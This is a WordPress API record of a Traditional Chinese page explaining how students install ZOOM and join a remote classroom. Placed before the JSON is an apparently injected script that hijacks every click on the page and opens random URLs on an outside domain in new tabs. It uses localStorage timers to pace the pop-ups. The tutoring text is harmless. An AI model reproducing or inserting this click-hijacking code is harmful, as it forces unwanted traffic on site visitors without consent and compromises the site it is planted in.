<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1363,"date":"2016-01-08T16:48:46","date_gmt":"2016-01-08T08:48:46","guid":{"rendered":"http:\/\/edu.secda.info\/angela\/?page_id=1363"},"modified":"2016-01-18T22:14:33","modified_gmt":"2016-01-18T14:14:33","slug":"%e9%81%a0%e8%b7%9d%e8%bc%94%e5%b0%8e","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/angela\/?page_id=1363","title":{"rendered":"\u9060\u8ddd\u8f14\u5c0e"},"content":{"rendered":"<p><span style=\"font-size: 18px; color: #ff00ff;\">\u82e5\u60a8\u7684\u624b\u6a5f\/\u5e73\u677f\/\u96fb\u8166\u7b2c\u4e00\u6b21\u4f7f\u7528ZOOM\u61c9\u7528\u7a0b\u5f0f\uff0c\u8acb\u5148\u4f9d\u7167\u60a8\u88dd\u7f6e\u7684\u4f5c\u696d\u7cfb\u7d71\u985e\u578b\uff0c\u524d\u5f80<a href=\"https:\/\/zoomnow.net\/greatfield\/download.php\" target=\"_blank\"><span style=\"font-size: 22px;\">\u3010\u5b8f\u7530ZOOM\u7684\u4e0b\u8f09\u5340 \u3011<\/span><\/a> \u5b89\u88dd\u5c0d\u61c9\u7684\u4e0b\u8f09\u8edf\u9ad4\u81f3\u624b\u6a5f\/\u5e73\u677f\/\u96fb\u8166\u4e0a\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<table border=\"0\">\n<tbody>\n<tr>\n<td style=\"text-align: center;\" width=\"390\"><span style=\"font-size: 24pt; color: #0000ff;\"><strong>\u3010\u9032\u5165\u9060\u8ddd\u6559\u5ba4\u3011<\/strong><\/span><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\"><span style=\"font-size: 24px;\"><span style=\"color: #0000ff;\">\u65b9\u5f0f\u4e00\uff1a<\/span><span style=\"color: #0000ff;\">\u63a5\u5230 email \u901a\u77e5\uff0c\u9023\u7d50\u9032\u5165\u4e0a\u8ab2\uff0c\u6216\u662f<\/span><\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"padding-left: 60px;\" valign=\"top\"><span style=\"font-size: 16px; color: #333333;\">\u5229\u7528email\u7684\u9080\u8acb\uff0c\u76f4\u63a5\u9ede\u9078\u90f5\u4ef6\u88e1\u7684\u6703\u8b70\u9023\u7d50\uff0c\u300c\u6703\u8b70\u5ba4\u7de8\u865f\u300d\u6703\u81ea\u52d5\u5e36\u5165\uff0c\u53ef\u4ee5\u76f4\u63a5\u9032\u5165\u96f2\u7aef\u6559\u5ba4\u4e0a\u8ab2\u3002<\/span><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\"><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\"><span style=\"font-size: 24px; color: #0000ff;\">\u65b9\u5f0f\u4e8c\uff1a\u53d6\u5f97\u6559\u5ba4\u7de8\u865f\uff0c<span style=\"font-size: 28px; color: #ff0000;\"><a href=\"https:\/\/zoomnow.zoom.us\/join\" target=\"_blank\"><strong>\u3010\u958b\u59cb\u4e0a\u8ab2\u3011<\/strong><\/a><\/span><\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"padding-left: 60px;\" valign=\"top\"><span style=\"font-size: 16px; color: #333333;\">\u8f38\u5165\u7de8\u865f\u9032\u5165\u4e0b\u4e00\u6b65\u5f8c\uff0c\u518d\u9375\u5165\u53ef\u4ee5\u8b93\u8001\u5e2b\u8fa8\u8b58\u4f60\u7684\u540d\u7a31\uff08\u4f8b\u5982\u59d3\u540d\uff09\uff0c\u540c\u6a23\u53ef\u4ee5\u9032\u5165\u96f2\u7aef\u6559\u5ba4\u4e0a\u8ab2\u3002<\/span><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\"><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-size: 14pt;\"><strong>\u6ce8\u610f\u4e8b\u9805\uff1a<\/strong> <\/span><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\"><span style=\"font-size: 14pt;\"><strong>\u300a\u78ba\u8a8d\u8001\u5e2b\u8996\u8a0a\u6642\u9593\u300b<\/strong><\/span><span style=\"font-size: 14pt;\">1.\u4e8e\u4e0a\u8ab2\u524d\u4e00\u5929\u4ee5\u524d\u8207\u8001\u5e2b\u6216\u662f\u6388\u8ab2\u55ae\u4f4d\u78ba\u8a8d\u8996\u8a0a\u6642\u9593\u3002<\/span><span style=\"font-size: 14pt;\">2.\u5728\u4e0a\u8ab2\u7d04\u5b9a\u6642\u9593\u4e00\u5c0f\u6642\u4ee5\u524d\uff0c\u78ba\u8a8d\u81ea\u5df1\u7684\u8a2d\u5099\u3001\u7db2\u8def\u9023\u7dda\u7b49\u6b63\u5e38\u3002<\/span><span style=\"font-size: 14pt;\">3.\u8acb\u78ba\u8a8d\u8001\u5e2b\u6216\u662f\u6388\u8ab2\u55ae\u4f4d\u5229\u7528\u96fb\u5b50\u90f5\u4ef6\/\u7c21\u8a0a\/line\/Facebook\u6216\u5176\u4ed6\u901a\u8a0a\u65b9\u5f0f\u8b93\u60a8\u53d6\u5f97\u300c\u6703\u8b70\u5ba4\u7de8\u865f\u300d\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">4.\u60a8\u9700\u8981\u5229\u7528\u300c\u6703\u8b70\u5ba4\u7de8\u865f\u300d\u9032\u5165\u8a72\u6b21\u7684\u96f2\u7aef\u6559\u5ba4\uff0c\u52a0\u5165\u8001\u5e2b\u7684\u8ab2\u7a0b\u3002<\/span><\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<\/tr>\n<tr>\n<td>\u203b\u66f4\u591a\u4f7f\u7528\u8aaa\u660e\uff0c\u8acb\u53c3\u8003 \u3010<a title=\"ZOOM\u9032\u5165\u6703\u8b70\u64cd\u4f5c\u8aaa\u660e\" href=\"http:\/\/edu.secda.info\/angela\/?page_id=1366\">ZOOM\u9032\u5165\u6703\u8b70\u64cd\u4f5c\u8aaa\u660e<\/a>\u3011<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"<p>\u82e5\u60a8\u7684\u624b\u6a5f\/\u5e73\u677f\/\u96fb\u8166\u7b2c\u4e00\u6b21\u4f7f\u7528ZOOM\u61c9\u7528\u7a0b\u5f0f\uff0c\u8acb\u5148\u4f9d\u7167\u60a8\u88dd\u7f6e\u7684\u4f5c\u696d\u7cfb\u7d71\u985e\u578b\uff0c<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":885,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/pages\/1363"}],"collection":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1363"}],"version-history":[{"count":5,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/pages\/1363\/revisions"}],"predecessor-version":[{"id":1424,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/pages\/1363\/revisions\/1424"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/pages\/885"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1363"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}